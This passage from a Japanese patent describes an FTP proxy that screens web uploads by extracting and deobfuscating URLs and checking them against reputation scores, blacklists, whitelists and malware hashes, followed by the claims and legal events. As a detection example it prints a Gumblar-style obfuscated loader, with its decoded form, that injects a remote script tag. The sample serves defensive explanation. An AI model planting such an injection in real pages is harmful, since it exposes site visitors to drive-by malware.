なお、JavaScriptを用いて難読化やスクリプト内でURLを生成している場合も検知できる。
(不正なリダイレクトの検出の場合)
想定しないURLにリダイレクトされているか検査する。
ホワイトリスト・ブラックリストと照合し、本来のファイルには存在しないはずのリダイレクトを検知し、FTPでのアップロードから除外する。アップロードから除外した場合、メールで通知する。
図9は、マルウェア検知の無い場合を示すもので、ステップS1で「login Auth」(認証付きメールに使うプロトコル)かどうか判定する。ここでは、FTPプロトコルにおけるユーザー認証(アカウント/パスワード)を行う。ここでPassする(ステップS1:Pass)と、ステップ2でファイルを受信する。ここでは、FTPプロトコルにおけるファイルの受信(設置ディレクトリのPathを含む)を行なう。
ステップS2でファイル受信した後で、ステップS3でファイルの種別(バイナリ形式かテキスト形式)を判断する。バイナリ形式である場合(ステップS3:バイナリ形式)には、ステップS16の処理、すなわち正規FTPサーバファイルへファイル転送を行なう。ここでは、可読でない場合は、チェックをパスしてWWWサーバにアップロードさせる。
一方、テキスト形式である場合(ステップS3:テキスト形式)には、ステップS4でJavaScriptの有無を判断する。
JavaScriptが無い場合(ステップS4:No)、ステップS7の処理を行なう。
一方、JavaScriptが有る場合(ステップS4:Yes)、ステップS5でJavaScriptの構文解析を行なう。ここでは、JavaScriptを使ってJavaScriptのスクリプトを難読化してあるのを復号する動作を行なう。ステップS5でJavaScriptの構文解析を行なった後で、JavaScriptのURLの抽出を行なう(ステップS6)。ここでは、JavaScript内部にあるリンクを抽出する。
ステップS4でJavaScriptが無い場合(ステップS4:No)、及びステップS6でJavaScriptのURLの抽出を行なった後で、JavaScript以外の部分でURLの抽出を行なう(ステップS7)。ここでは、JavaScript以外の部分にあるリンクを抽出する。上記ステップS1〜S7の処理の後で、URLの偽装を解いて正規化を行なう(ステップS8)。ここでは、URLエンコード(エスケープ)、数値実体参照等の復号を行なう。
このようにして、URLの正規化が行なわれた後で、ページ名と内包URLをURL格納データベースDB1に格納する(ステップS9)。次にIPアドレスを取得する(ステップS10)。
次に、レピュテーションデータベースDB2からレピュテーション値を取得する(ステップS11)。つまり、抽出されたIPアドレスについてレピュテーション値を取得する。
ステップS1〜ステップS11の処理の後、ステップS12で、ブラックリストデータベースBLに格納されたブラックリストの符号と照合する。そして、ブラックリストの照合の結果、符号がある場合にはステップS15でFTPエラーを応答し、終了する。
一方、ブラックリストデータベースBLに格納されたブラックリストの符号と照合し、符号が無い場合(ステップS12:No)、ステップS13で、ステップS11でレピュテーションデータベースDB2から取得したレピュテーション値が、閾値を下回るURLが存在するかどうか判断する。
レピュテーション値が、閾値を下回るURLが存在しない場合(ステップS13:No)、ステップS16で正規FTPサーバファイルへファイルを転送する。レピュテーション値が、閾値を下回るURLが存在する場合(ステップS13:Yes)、ステップS14で、ホワイトリストデータベースWLのホワイトリストの符号と照合する。
このとき、ホワイトリストを用いた不正コンテンツの判定は、ホワイトリストを定義し、アップロード対象(コンテンツ・設定ファイル)にホワイトリストに存在しないURLへの誘導が存在する場合、不正コンテンツと判定する。
ホワイトリストデータベースWLのホワイトリストの符号が有る場合(ステップS14:Yes)、ステップS16で正規FTPサーバファイルへファイルを転送する。一方、ホワイトリストデータベースWLのホワイトリストの符号が無い場合(ステップS14:No)、ステップS15でFTPエラーを応答し、終了する。
ステップS16で正規FTPサーバファイルへファイルを転送した後で、ステップS17でページ名と内包URLをURL格納データベースDB1に格納して、終了する。
次に、マルウェア等を検出した場合について、図10で示すフローチャートを用いて説明する。図10で示すフローチャートと図9で示すフローチャートにおける各ステップにおいて、同一記号及び符号のステップは同一処理を示すものであり、図9の説明と重複するので、その説明を省略し、図10のフローチャートでは、図9で説明していない処理(ステップ)を中心に説明する。つまり、ステップS1〜ステップS8、ステップS10〜ステップS17まではマルウェア等を検出しない図9のフローチャート処理と同様であり、マルウェア等を検出しない場合のようなステップS9で、ページ名と内包URLをURL格納データベースDB1に格納は、しない。
そして、マルウェア等を検出しない処理である図9の処理では、バイナリ形式である場合(ステップS3:バイナリ形式)には、ステップS16の処理、すなわち正規FTPサーバファイルへファイル転送を行なっているが、マルウェア等を検出する場合については、ステップS21〜ステップS24までの処理を行うものである。
つまり、バイナリ形式である場合(ステップS3:バイナリ形式)には、ステップS21でファイルの電子指紋を取得する。ここでは可読でないファイルに対して電子指紋を計算する。形式としては、電子指紋データベースDB3で採用されているハッシュ形式を用いる。
そして、取得した電子指紋について、ステップS22でマルウェアの電子指紋データベースDB3に格納されている電子指紋と照合をする。
ステップS22で照合したときに、一致する電子指紋が存在しない場合(ステップS23:No)、ステップS16で正規FTPサーバファイルへファイルを転送した後で、ステップS17でページ名と内包URLをURL格納データベースDB1に格納して、終了する。
ステップS22で照合したときに、一致する電子指紋が存在した場合(ステップS23:Yes)、そのファイルはマルウェアであり、ステップS24でFTPエラーを応答し、終了する。
不正コンテンツの発見後の動作として、不正コンテンツと判定しアップロードの中止を行った場合、FTP接続を中断する。また、その後のFTP接続は一定期間(1日程度を想定)許可しない。
さらに、本実施形態では、不正コンテンツの記録を行う。ここでは一定期間、アップロードが試みられた不正コンテンツを保管しておく。ただし、保管左記の最大容量を超える場合、古いものから削除される。
FTPエラーの応答として、不正コンテンツと判定しアップロードの中止を行った場合、結果通知を行うが、結果をメールにて顧客側の管理者とエンドユーザに通知する。顧客側の管理者のメールアドレスはICDの設定ファイルにて指定する。エンドユーザのメールアドレスは顧客側のLDAPサーバから取得する。
顧客側のエンドユーザのFTP IDやメールIDなどのアカウント管理を行っているシステムと連携し、検知時のメール連絡をエンドユーザのメールアドレスに送信することも可能である。この場合には、FTP IDに対応するメールIDが一意に判別できることが前提となる。データ連携はデフォルトではLDAPを想定しているが、これに限るものではない。
次に、レポートメールの例として、FTPアップロード検査の実行結果を示す。
■検知内容
不正リンクの検出
検出内容:
http://URL名/FILE名
※上記URLは、リンクを誤って参照しないよう、http://を全角文字で記載している。
■検査対象のID
FTP ID: foo
■検査対象ファイル
test.html
■アップロードに使用されたIPアドレス
XXX.XXX.XXX.XXX
■検知時間
2010/03/15 13:20:15
次に、より具体的な通知メールの例を以下に示す。

件名:[○○○○:20100415−104856]不正リンク検出連絡
−−−−
○○○○○○○○サービスをご利用いただきまして誠にありがとうございます。
不正ファイルを検出し、アップロードを中止しましたので報告いたします。

■検出日時
2010年4月15日 10時48分56秒

■対象ファイル名
x.html

■送信元IPアドレス
192.168.0.×××

■アカウント名
△△△

■アップロード先FTPサーバ
10.10.0.×××:21

■不正スクリプト 転送先
検出数 1 個
検出サイト名:
script.example.cn

■不正リンク 転送先
検出数 0 個
検出サイト名:
なし

■不正リダイレクト 転送先
検出数 0 個
検出サイト名:
なし

■ご注意点
本メールは○○○○○○○○サービスシステムが自動的に作成しています。

■○○○○○○○○サービスに関するお問い合わせ
ご不明な点や問題点がございましたら、下記までお問い合わせください。

---------------------------------------------
株式会社○○○○
TEL
受付時間(平日10:00 - 12:00 / 13:00 -
17:00)
E-mail:・・・・・@・・・.jp
---------------------------------------------
次に、FTPアップロード検査の実行について、例を挙げて説明する。
例えば、Gumblarの難読化例(一重下線部分が難読化されている部分・左記一重下線部分の間の「<3cs…<3e」の部分はscriptタグとURLを難読化した部分)。
(function(t){eval(unescape((i='va<72<20<61<3d<22S<63<72ipt<45<6egin<65<22<2cb<3d<22Ver<73<69o<6e()+<22<2c<6a<3d<22<22<2c<75<3dnav<69gato<72<2euse<72A<67e<6e<74<3b<69f((<75<2e<69ndex<4ff(<22W<69n<22)<3e0<29<26<26<28u<2einde<78O<66(<22N<54<206<22)<3c<30)<26<26(docume<6et<2ecook<69e<2eindexOf<28<22miek<3d<31<22)<3c0)<26<26(t<79pe<6ff(zr<76zt<73)<21<3d<74yp<65o<66<28<22A<22))<29<7bzr<76zts<3d<22A<22<3beval<28<22if(wi<6ed<6fw<2e<22+a+<22<29j<3dj+<22+a+<22<4dajo<72<22+b+a+<22Mino<72<22+b+a+<22B<75i<6c<64<22+b<2b<22j<3b<22)<3bd<6f<63um<65<6et<2ewri<74e(<22<3cs<63r<69pt<20s<72c<3d<2f<2f<73<2e<62<62<73<65<63<2e<63o<2e<6ap<2furlt<65<73t<2fh<65llo<2e<6a<73<3e<3c<5c<2fscript<3e<22)<3b<7d').replace(t,'%')))})(/</g);
一重下線部分を解読した内容(読みやすくするため、空白や改行を追加したもの・下線付きの箇所が転送先のスクリプトファイルを指定するURL)の例。
vara="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;
if((u.indexOf("Win")>0)&&(u.indexOf("NT6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("<scriptsrc=//s.bbsec.co.jp/urltest/hello.js><\/script>");}
上記の例は、例示のため下線部を変更している(実際にはGumblarのサイトのスクリプトのURL)。
以下では、不正サイトへの誘導を含むコンテンツ(JavaScript内に含むケース)を例に、不正サイト誘導の解析をして、URL抽出の事例を示している。
◎不正サイトへの誘導を含むコンテンツ(JavaScript内に含むケース)
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=EUC-JP">
<title>TEST page</title>
</head>
<body>
<script language=JavaScript><!--
(function(t){eval(unescape((i='va<72<20<61<3d<22S<63<72ipt<45<6egin<65<22<2cb<3d<22Ver<73<69o<6e()+<22<2c<6a<3d<22<22<2c<75<3dnav<69gato<72<2euse<72A<67e<6e<74<3b<69f((<75<2e<69ndex<4ff(<22W<69n<22)<3e0<29<26<26<28u<2einde<78O<66(<22N<54<206<22)<3c<30)<26<26(docume<6et<2ecook<69e<2eindexOf<28<22miek<3d<31<22)<3c0)<26<26(t<79pe<6ff(zr<76zt<73)<21<3d<74yp<65o<66<28<22A<22))<29<7bzr<76zts<3d<22A<22<3beval<28<22if(wi<6ed<6fw<2e<22+a+<22<29j<3dj+<22+a+<22<4dajo<72<22+b+a+<22Mino<72<22+b+a+<22B<75i<6c<64<22+b<2b<22j<3b<22)<3bd<6f<63um<65<6et<2ewri<74e(<22<3cs<63r<69pt<20s<72c<3d<2f<2ft<65<73<74<30<30<2e<78<78<78<2e<62<62<73<65<63<2e<63o<2e<6ap:<38<30<38<30<2furlt<65<73t<2fh<65llo<2e<6a<73<3e<3c<5c<2fscript<3e<22)<3b<7d').replace(t,'%')))})(/</g);
--></script>
<h1>TEST page 009</h1>
<p>
このページは、test用のページです。<br>
Page ID = 009<br>
<a href="/urltest/index.html"> index </a><br>
</body>
</html>
◎上記のJavaScriptの構文解析を実施した例。
・JavaScriptプログラム
(function(t){eval(unescape((i='va<72<20<61<3d<22S<63<72ipt<45<6egin<65<22<2cb<3d<22Ver<73<69o<6e()+<22<2c<6a<3d<22<22<2c<75<3dnav<69gato<72<2euse<72A<67e<6e<74<3b<69f((<75<2e<69ndex<4ff(<22W<69n<22)<3e0<29<26<26<28u<2einde<78O<66(<22N<54<206<22)<3c<30)<26<26(docume<6et<2ecook<69e<2eindexOf<28<22miek<3d<31<22)<3c0)<26<26(t<79pe<6ff(zr<76zt<73)<21<3d<74yp<65o<66<28<22A<22))<29<7bzr<76zts<3d<22A<22<3beval<28<22if(wi<6ed<6fw<2e<22+a+<22<29j<3dj+<22+a+<22<4dajo<72<22+b+a+<22Mino<72<22+b+a+<22B<75i<6c<64<22+b<2b<22j<3b<22)<3bd<6f<63um<65<6et<2ewri<74e(<22<3cs<63r<69pt<20s<72c<3d<2f<2ft<65<73<74<30<30<2e<78<78<78<2e<62<62<73<65<63<2e<63o<2e<6ap:<38<30<38<30<2furlt<65<73t<2fh<65llo<2e<6a<73<3e<3c<5c<2fscript<3e<22)<3b<7d').replace(t,'%')))})(/</g);
◎構文解析結果
vara="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;if((u.indexOf("Win")>0)&&(u.indexOf("NT6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("<script
src=//test00.xxx.bbsec.co.jp:8080/urltest/hello.js><\/script>");}
◎構文解析結果から script src を抽出
<script src=//test00.xxx.bbsec.co.jp:8080/urltest/hello.js>
◎FQDNを抽出
test00.xxx.bbsec.co.jp
※上記をブラックリスト、ホワイトリスト、レピュテーション値との照合をする。
なお、本発明で示す検知技術をメールサーバに適用し、HTMLメール上に存在するリンクをチェックすることも可能である。
10 FTPサーバ
20 FTPクライアントコンピュータ(ユーザ端末)
30 FTPプロキシサーバ
31 CPU
32 URL抽出エンジン
33 判定エンジン
34 電子指紋計算エンジン
35 マルウェア判定エンジン
36 入力側
37 出力側
40 システム管理者用コンピュータ
50 顧客管理システム用コンピュータ
60 インターネット(コンピュータネットワーク)
S ファイルのアップロード遮断システム
DB1 URL格納データベース
DB2 レピュテーションデータベース
DB3 マルウェアの電子指紋データベース
BL ブラックリストデータベース
WL ホワイトリストデータベース

Claims (10)

  1. ウェブサーバにファイルをアップロードするためのFTPサーバと、該FTPサーバと接続されたFTPプロキシサーバと、該FTPプロキシサーバと接続されたコンピュータネットワークと、該コンピュータネットワークを介して接続されたクライアントコンピュータと、を備えた、ファイルのアップロード遮断システムであって、
    前記FTPプロキシサーバは、前記FTPサーバと前記クライアントコンピュータの間に配設され、前記FTPサーバにアップロードされるファイルの内容の不正をチェックするもので、CPUと、少なくとも前記ファイルを送信する出入力手段と、URL抽出手段と、判定手段と、ファイル毎のURLを格納するURL格納手段と、リンク先のサイト名もしくはIPアドレスに対する信頼度を示すレピュテーション手段とを有し、
    前記FTPプロキシサーバの前記判定手段は、ファイルのウェブサーバへのアップロードの可否を判定するものであって、前記URL格納手段と、少なくとも前記レピュテーション手段と接続され、
    前記判定手段は、前記URL抽出手段により、アップロードされるファイルに含まれるURLを取得し、該取得したURLに含まれる情報と、少なくとも前記レピュテーション手段を参照して、前記取得したURLの信頼度情報を得て、該信頼度情報をもとにファイルのウェブサーバへのアップロードの可否を判定することを特徴とするファイルのアップロード遮断システム。
  2. 前記FTPプロキシサーバは通常読解できないスクリプトを復号する処理を含み、
    前記URLに含まれる情報は、前記ファイル中における通常読解できないスクリプトを復号する処理で得られたURLの情報、符号化されたURL文字列を復号する処理で得られた情報、復号されたURL文字列を分解する処理で得られた情報、前記分解された情報に基づいてホスト名,ポート番号,パス名からなる文字列を生成する処理で得られた情報、前記ホスト名に基づいてIPアドレスを取得する処理で得られた情報のうち少なくとも一つを含むことを特徴とする請求項1に記載のファイルのアップロード遮断システム。
  3. 前記ファイルのアップロード遮断システムは、さらに電子指紋計算手段と、マルウェア判定手段と、マルウェアの電子指紋が蓄積された電子指紋蓄積手段と、を備え、アップロードされるファイルの電子指紋と、前記電子指紋蓄積手段を対比し、マルウェアを検知することを特徴とする請求項1又は2に記載のファイルのアップロード遮断システム。
  4. 前記判定手段は、前記URL格納手段に格納されたURLに対して定期的に信頼度を検査し、公開に足る信頼度を持つかどうかを判定して、前記URLが書き換えられることを特徴とする請求項1又は2に記載のファイルのアップロード遮断システム。
  5. 前記レピュテーション手段は、前記FTPプロキシサーバとネットワークで接続された外部に設けられていることを特徴とする請求項1に記載のファイルのアップロード遮断システム。
  6. ウェブサーバにファイルをアップロードするためのFTPサーバと、該FTPサーバと接続されたFTPプロキシサーバと、該FTPプロキシサーバと接続されたコンピュータネットワークと、該コンピュータネットワークを介して接続されたクライアントコンピュータと、を備え、前記FTPサーバと前記クライアントコンピュータの間に配設され、前記FTPサーバにアップロードされるファイルの内容の不正をチェックするシステムにおけるファイルのアップロード遮断方法であって、
    アップロードされるファイルに含まれるURL情報を取得するURL情報取得工程と、
    前記URL情報取得工程で取得したURL情報と、該URL情報のリンク先のサイト名もしくはIPアドレスに対する信頼度を格納したレピュテーション手段、ブラックリスト格納手段、ホワイトリスト格納手段の少なくとも一つ以上を参照し判定する参照判定工程と、
    前記参照判定工程に基づくURLの信頼度情報をもとにそのファイルのウェブサーバへのアップロードの可否を判定する判定工程と、を備えているファイルのアップロード遮断方法。
  7. 前記URL情報取得工程では、前記ファイル中における通常読解できないスクリプトを復号する処理、符号化されたURL文字列を復号する処理、復号されたURL文字列を分解する処理、前記分解された情報に基づいてホスト名,ポート番号,パス名からなる文字列を生成する処理、前記ホスト名に基づいてIPアドレスを取得する処理のうち少なくとも一つの処理がなされることを特徴とする請求項6に記載のファイルのアップロード遮断方法。
  8. 前記ファイルのアップロード遮断方法は、前記アップロードされるファイルの電子指紋を取得し、マルウェアの電子指紋が蓄積された電子指紋蓄積データベースを検索することで、マルウェアを検知しアップロードの可否を判定することを特徴とする請求項6又は7に記載のファイルのアップロード遮断方法。
  9. 前記URL情報取得工程で得られたファイル毎のURLを記録しておくためのURL格納手段への書込み工程と、
    前記URL格納手段に格納されたURLに対して定期的に信頼度を検査し、公開に足る信頼度を持つかどうかを判定する再審査の工程と、を備えたことを特徴とする請求項6又は7に記載のファイルのアップロード遮断方法。
  10. リンク先のサイト名もしくはIPアドレスに対する信頼度の取得を前記FTPプロキシサーバと接続された外部のレピュテーション手段から取得することを特徴とする請求項6に記載のファイルのアップロード遮断方法。
JP2011073024A 2010-03-31 2011-03-29 ファイルのアップロード遮断システム及びファイルのアップロード遮断方法 Active JP5749053B2 (ja)

Priority Applications (1)

Application Number Priority Date Filing Date Title
JP2011073024A JP5749053B2 (ja) 2010-03-31 2011-03-29 ファイルのアップロード遮断システム及びファイルのアップロード遮断方法

Applications Claiming Priority (3)

Application Number Priority Date Filing Date Title
JP2010082548 2010-03-31
JP2010082548 2010-03-31
JP2011073024A JP5749053B2 (ja) 2010-03-31 2011-03-29 ファイルのアップロード遮断システム及びファイルのアップロード遮断方法

Publications (2)

Publication Number Publication Date
JP2011227884A JP2011227884A (ja) 2011-11-10
JP5749053B2 true JP5749053B2 (ja) 2015-07-15

Family

ID=45043112

Family Applications (1)

Application Number Title Priority Date Filing Date
JP2011073024A Active JP5749053B2 (ja) 2010-03-31 2011-03-29 ファイルのアップロード遮断システム及びファイルのアップロード遮断方法

Country Status (1)

Country Link
JP (1) JP5749053B2 (ja)

Families Citing this family (10)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
JP5791548B2 (ja) * 2012-03-15 2015-10-07 三菱電機株式会社 アドレス抽出装置
KR20140044954A (ko) * 2012-09-03 2014-04-16 네이버 주식회사 툴바를 통한 이중 안티 피싱 방법 및 서버
WO2014152601A1 (en) 2013-03-14 2014-09-25 Nike, Inc. Athletic attribute determinations from image data
US10223926B2 (en) 2013-03-14 2019-03-05 Nike, Inc. Skateboard system
US12073740B2 (en) 2013-03-14 2024-08-27 Nike, Inc. Skateboard system
JPWO2014147923A1 (ja) * 2013-03-19 2017-02-16 Necソリューションイノベータ株式会社 ユーザビリティチェック結果出力方法、装置およびプログラム
KR101859189B1 (ko) * 2013-09-05 2018-05-18 나이키 이노베이트 씨.브이. 물리적 활동의 캡쳐 이미지 데이터를 갖는 세션의 수행 및 토큰 검증가능 프록시 업로더를 사용한 업로딩
JP6092759B2 (ja) * 2013-11-28 2017-03-08 日本電信電話株式会社 通信制御装置、通信制御方法、および通信制御プログラム
JP6134369B2 (ja) * 2015-10-28 2017-05-24 株式会社オプティム 端末管理システム及び端末管理方法。
US10547628B2 (en) 2016-05-06 2020-01-28 Sitelock, Llc Security weakness and infiltration detection and repair in obfuscated website content

Family Cites Families (6)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
US5623600A (en) * 1995-09-26 1997-04-22 Trend Micro, Incorporated Virus detection and removal apparatus for computer networks
JP2005070961A (ja) * 2003-08-21 2005-03-17 Nippon Telegr & Teleph Corp <Ntt> Webパトロールシステム、Webパトロール方法、Webパトロール用プログラム、及び、Webパトロール用記録媒体
JP4445243B2 (ja) * 2003-10-28 2010-04-07 一憲 安藤 迷惑メール遮断方法
JP5009105B2 (ja) * 2007-09-10 2012-08-22 エヌ・ティ・ティ・コミュニケーションズ株式会社 情報処理装置、入力情報制御方法、及びプログラム
US8595282B2 (en) * 2008-06-30 2013-11-26 Symantec Corporation Simplified communication of a reputation score for an entity
JP4636473B2 (ja) * 2008-08-21 2011-02-23 Necビッグローブ株式会社 リンク情報抽出装置、リンク情報抽出方法およびプログラム

Also Published As

Publication number Publication date
JP2011227884A (ja) 2011-11-10

Similar Documents

Publication Publication Date Title
JP5749053B2 (ja) ファイルのアップロード遮断システム及びファイルのアップロード遮断方法
US9929991B2 (en) Just-in-time, email embedded URL reputation determination
KR101689297B1 (ko) 보안이벤트 자동 검증 방법 및 장치
US8024804B2 (en) Correlation engine for detecting network attacks and detection method
JP5003556B2 (ja) 通信検知装置、通信検知方法、及び通信検知プログラム
US8850584B2 (en) Systems and methods for malware detection
KR100732689B1 (ko) 웹 보안방법 및 그 장치
RU2677361C1 (ru) Способ и система децентрализованной идентификации вредоносных программ
US11503072B2 (en) Identifying, reporting and mitigating unauthorized use of web code
WO2015001970A1 (ja) 不正アクセス検知システム及び不正アクセス検知方法
JP2008509458A (ja) ハイパーテキストトランスポートプロトコルにおける侵入検知戦略
JP2010516007A (ja) コンピュータ不正行為を検出するための方法及び装置
CN110417718B (zh) 处理网站中的风险数据的方法、装置、设备及存储介质
CN112887341B (zh) 一种外部威胁监控方法
JP2006262019A (ja) ネットワーク検疫プログラム、該プログラムを記録した記録媒体、ネットワーク検疫方法、およびネットワーク検疫装置
KR20080044145A (ko) 웹 로그 상호연관분석을 이용한 웹 애플리케이션 공격의침입 탐지 시스템 및 방법
CN111628990A (zh) 识别攻击的方法、装置和服务器
Chae et al. A privacy data leakage prevention method in P2P networks
KR101372906B1 (ko) 악성코드를 차단하기 위한 방법 및 시스템
Jones et al. WebFinger
US10757118B2 (en) Method of aiding the detection of infection of a terminal by malware
Hickling What is DOM XSS and why should you care?
JP7293170B2 (ja) シグネチャ生成装置、検出装置、シグネチャ生成プログラム及び検出プログラム
JP2016057767A (ja) 解析装置、解析方法およびコンピュータプログラム
CN104067284B (zh) 防止任务调度恶意软件的执行

Legal Events

Date Code Title Description
A621 Written request for application examination

Free format text: JAPANESE INTERMEDIATE CODE: A621

Effective date: 20140310

A977 Report on retrieval

Free format text: JAPANESE INTERMEDIATE CODE: A971007

Effective date: 20141205

A131 Notification of reasons for refusal

Free format text: JAPANESE INTERMEDIATE CODE: A131

Effective date: 20150120

A521 Request for written amendment filed

Free format text: JAPANESE INTERMEDIATE CODE: A523

Effective date: 20150323

TRDD Decision of grant or rejection written
A01 Written decision to grant a patent or to grant a registration (utility model)

Free format text: JAPANESE INTERMEDIATE CODE: A01

Effective date: 20150414

A61 First payment of annual fees (during grant procedure)

Free format text: JAPANESE INTERMEDIATE CODE: A61

Effective date: 20150513

R150 Certificate of patent or registration of utility model

Ref document number: 5749053

Country of ref document: JP

Free format text: JAPANESE INTERMEDIATE CODE: R150

R250 Receipt of annual fees

Free format text: JAPANESE INTERMEDIATE CODE: R250

R250 Receipt of annual fees

Free format text: JAPANESE INTERMEDIATE CODE: R250